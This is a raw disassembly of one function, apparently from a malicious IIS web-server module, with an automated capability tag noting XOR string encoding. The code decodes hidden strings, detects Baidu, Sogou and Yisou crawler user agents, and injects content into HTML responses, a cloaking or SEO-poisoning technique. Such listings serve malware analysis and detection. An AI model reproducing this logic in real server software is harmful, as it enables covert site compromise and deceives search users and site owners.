Function at 0x180004400
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x180041108]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rdi, rdx
mov qword [rsp + 0x40], rdx
movdqa xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movdqu xmm0, xmmword [str.dxx6ohb_omodiohb_ooohb]
pxor xmm1, xmm0
movdqu xmmword [rbp + 0x190], xmm1
xor r12d, r12d
mov ecx, r12d
lea edx, [r12 + 0xb]
lea r8, [0x180041010]
nop
movzx eax, byte [rcx + r8]
xor al, 0xc
mov byte [rbp + rcx + 0x1a0], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x180004470
mov byte [rbp + 0x1ab], r12b
mov r13d, r12d
mov rax, qword [rdi]
mov rcx, rdi
mov rax, qword [rax + 0x18]
call qword [0x18002c2e0]
mov rbx, rax
mov rax, qword [rdi]
mov rcx, rdi
mov rax, qword [rax + 0x20]
call qword [0x18002c2e0]
mov r14, rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 8]
call qword [0x18002c2e0]
mov r15, rax
mov rax, qword [r14]
mov rcx, r14
mov rax, qword [rax + 8]
call qword [0x18002c2e0]
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], r12b
mov word [rsp + 0x34], r12w
mov rax, qword [rbx]
lea r8, [rsp + 0x34]
mov edx, 0x28
mov rcx, rbx
mov rax, qword [rax + 0x10]
call qword [0x18002c2e0]
mov rbx, rax
mov word [rsp + 0x30], r12w
mov rax, qword [r14]
lea r8, [rsp + 0x30]
lea rdx, str.Content_Type
mov rcx, r14
mov rax, qword [rax + 0x48]
call qword [0x18002c2e0]
lea rcx, [0x18002cea2]
test rax, rax
cmove rax, rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], r12
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180004580
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.180005710
nop
movzx edi, word [rdi + 8]
mov rax, qword [r15 + 0x38]
mov qword [rsp + 0x38], rax
mov rax, qword [r14]
lea r8, [rsp + 0x30]
lea rdx, [0x18002d000]
mov rcx, r14
mov rax, qword [rax + 0x48]
call qword [0x18002c2e0]
mov r15, qword [rbp + 0x70]
test rax, rax
je 0x1800045fe
lea rdx, str.FINISHED
mov rcx, rax
call fcn.180014f60
test eax, eax
jne 0x1800045fe
mov rax, qword [r14]
lea rdx, str.IISRESPONSE
mov rcx, r14
mov rax, qword [rax + 0x38]
call qword [0x18002c2e0]
mov r13d, 2
jmp 0x180004bcb
test rbx, rbx
je 0x180004bcb
xor r12b, r12b
lea rdx, str.baidusogouyisouspider
mov rcx, rbx
call fcn.180004ef0
test eax, eax
je 0x180004bc8
lea rdx, str.browser
mov rcx, rbx
call fcn.1800083d0
test rax, rax
jne 0x180004bc8
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], r12b
jne 0x180004651
mov rdx, rbx
lea rcx, [rbp + 0x140]
call fcn.180005710
nop
mov eax, 0xc8
cmp di, ax
je 0x18000468c
mov eax, 0x130
cmp di, ax
je 0x18000468c
mov eax, 0x12e
cmp di, ax
jne 0x180004a91
lea rbx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rbx, r15
mov rax, qword [rbp + 0x80]
cmp rax, 9
jb 0x180004a91
lea rdi, [rax + rbx]
lea r8, [rdi - 8]
sub r8, rbx
mov rcx, rbx
mov edx, 0x74
call fcn.18000c3d0
test rax, rax
je 0x180004a91
movabs rcx, 0x6d74682f74786574
cmp qword [rax], rcx
jne 0x1800046e3
cmp byte [rax + 8], 0x6c
je 0x1800046f2
inc rax
lea r8, [rdi - 8]
sub r8, rax
mov rcx, rax
jmp 0x1800046bb
sub rax, rbx
cmp rax, 0xffffffffffffffff
je 0x180004a91
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x160], 0
mov edx, 1
lea rcx, [rsp + 0x50]
call fcn.180005be0
nop
lea rdx, [0x18002d044]
mov rcx, qword [rsp + 0x38]
call fcn.18000cfa8
lea rcx, [rsp + 0x60]
lea rdx, [rbp + 0x190]
test rax, rax
lea rbx, str._ding2zz1
jne 0x18000476b
lea rbx, str._ding1zz1
call fcn.1800052b0
mov rcx, rax
mov rdx, rbx
call fcn.1800052b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa8], xmm1
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0xa8], xmm0
mov byte [rbp + 0x98], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
movdqu xmmword [rbp + 0xe8], xmm1
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0xe8], xmm0
mov byte [rbp + 0xd8], 0
lea rdx, [rbp + 0xb8]
lea rcx, [rsp + 0x50]
call fcn.180007ee0
nop
lea rcx, [rbp + 0x100]
mov qword [rsp + 0x38], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xor edi, edi
mov qword [rbp + 0x118], rdi
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x118], rdi
mov qword [rbp + 0x120], 0xf
mov byte [rbp + 0x108], dil
mov qword [rbp + 0x128], rdi
movdqu xmmword [rbp + 0x130], xmm0
lea r9, [rbp + 0xd8]
lea r8, [rbp + 0x50]
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.180001ef0
mov eax, dword [rbp + 0x100]
mov dword [rbp + 0x90], eax
lea r12, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae r12, qword [rbp + 0x108]
mov r14, qword [rbp + 0x118]
cmp r14, 0xf
ja 0x1800048ae
mov qword [rbp + 0xa8], r14
mov r8, r14
mov rdx, r12
lea rcx, [rbp + 0x98]
call fcn.18000c570
mov byte [rbp + r14 + 0x98], dil
mov rbx, qword [rbp + 0xb0]
mov rdi, qword [rbp + 0x98]
jmp 0x18000495a
movabs rbx, 0x7fffffffffffffff
cmp r14, rbx
ja 0x180004ca6
mov rax, r14
or rax, 0xf
cmp rax, rbx
jbe 0x1800048fa
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.18000a488
test rax, rax
je 0x180004cac
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180004932
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180004925
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180004ca0
jmp 0x1800048db
test rcx, rcx
je 0x180004932
call fcn.18000a488
mov rdi, rax
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], rbx
mov r8, r14
mov rdx, r12
mov rcx, rdi
call fcn.18000c570
mov byte [rdi + r14], 0
mov qword [rbp + 0x98], rdi
lea rcx, [rbp + 0x100]
call fcn.180001e10
nop
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x1800049a8
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800049a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004cb2
call fcn.18000a4c4
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0xc8], xmm0
mov byte [rbp + 0xb8], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x180004a00
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800049fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004cb8
call fcn.18000a4c4
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0xe8], xmm0
mov byte [rbp + 0xd8], 0
mov r12b, 1
cmp rbx, 0x10
jb 0x180004a51
lea rdx, [rbx + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x180004a49
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004cbe
mov rcx, rdi
call fcn.18000a4c4
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0xa8], xmm0
mov byte [rbp + 0x98], 0
lea rcx, [rsp + 0x50]
call fcn.1800067c0
nop
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x160], 0
mov r14, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x180004ad2
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004acd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004cc4
call fcn.18000a4c4
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x140], 0
test r12b, r12b
je 0x180004bc8
movups xmm0, xmmword [str.Accept_Encoding]
movups xmmword [rbp + 0x180], xmm0
mov rax, qword [r14]
lea rcx, [rbp + 0x180]
nop word [rax + rax]
inc rsi
cmp byte [rcx + rsi], 0
jne 0x180004b10
mov r9, rsi
mov dword [rsp + 0x20], 1
lea r8, [rbp + 0x180]
lea rdx, str.Vary
mov rcx, r14
mov rax, qword [rax + 0x28]
call qword [0x18002c2e0]
xor r12d, r12d
mov dword [rbp + 0xb8], r12d
mov edx, dword [rbp + 0x60]
mov dword [rbp + 0xc8], edx
mov rbx, qword [rsp + 0x40]
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 0x90]
call qword [0x18002c2e0]
mov qword [rbp + 0xc0], rax
test rax, rax
je 0x180004bc0
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rdx, qword [rbp + 0x50]
mov r8d, dword [rbp + 0xc8]
mov rcx, rax
call fcn.18000c570
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 0x20]
call qword [0x18002c2e0]
mov rcx, rax
mov rax, qword [rax]
xor r8d, r8d
lea rdx, [rbp + 0xb8]
mov rax, qword [rax + 0xa0]
call qword [0x18002c2e0]
mov r13d, 2
jmp 0x180004bcb
xor r12d, r12d
mov rax, qword [rbp + 0x88]
cmp rax, 0x10
jb 0x180004c09
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x180004c01
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004cca
mov rcx, r15
call fcn.18000a4c4
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x180004c56
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004c51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004c9a
call fcn.18000a4c4
movdqa xmm0, xmmword [0x18002ce90]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], 0
mov eax, r13d
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.18000a670
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800111f0
nop
call fcn.180001dd0
nop
call fcn.180002b00
int3
call fcn.1800111f0
nop
call fcn.1800111f0
nop
call fcn.1800111f0
nop
call fcn.1800111f0
nop
call fcn.1800111f0
nop
call fcn.1800111f0
int3